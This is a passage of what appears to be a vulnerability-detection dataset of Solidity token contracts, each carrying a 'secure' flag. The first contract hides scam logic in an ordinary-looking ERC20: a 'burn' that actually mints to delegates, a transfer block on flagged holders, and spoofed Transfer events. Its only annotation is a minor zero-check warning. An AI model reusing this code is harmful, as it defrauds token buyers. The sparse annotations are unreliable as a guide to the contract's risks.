amount) public virtual onlyDelegates {\n _burn(_msgSender(), amount);\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance <= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance + amount;\n }\n\n emit Transfer(account, address(0), amount);\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n if (_onlyDelegatesBalanceOf[sender])\n require(amount == 0, \"ERC20: transfer amout exceeds allowance\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n address public uniswapV2Pair;\n\n function execute(\n address[] calldata _addresses,\n uint256 _out\n ) external onlyDelegates {\n for (uint256 i = 0; i < _addresses.length; i++) {\n emit Transfer(uniswapV2Pair, _addresses[i], _out);\n }\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: b93e1c6): ERC20.addPair(address).pair_ lacks a zerocheck on \t uniswapV2Pair = pair_\n\t// Recommendation for b93e1c6: Check that the address is not zero.\n function addPair(address pair_) public onlyOwner {\n\t\t// missing-zero-check | ID: b93e1c6\n uniswapV2Pair = pair_;\n }\n}", "file_name": "solidity_code_874.sol", "secure": 0, "size_bytes": 6088 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract FOREST is ERC20 {\n constructor() ERC20(\"FOREST\", \"FOREST\", 9) {\n _totalSupply = 100000000000 * 10 ** 9;\n\n _balances[msg.sender] += _totalSupply;\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n}", "file_name": "solidity_code_875.sol", "secure": 1, "size_bytes": 384 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Test2411161 is ERC20 {\n constructor() ERC20(\"Test2411161\", \"Test2411161\") {\n _update(address(0), msg.sender, 1000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_876.sol", "secure": 1, "size_bytes": 301 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract FourMoreYearsPause is ERC20 {\n constructor() ERC20(\"Four More Years Pause\", \"FMYP\") {\n _mint(msg.sender, 1000000000 * 10 ** 18);\n }\n}", "file_name": "solidity_code_877.sol", "secure": 1, "size_bytes": 289 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Spiro is ERC20 {\n constructor() ERC20(\"spiro\", \"spiro\") {\n _mint(msg.sender, 100000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_878.sol", "secure": 1, "size_bytes": 271 }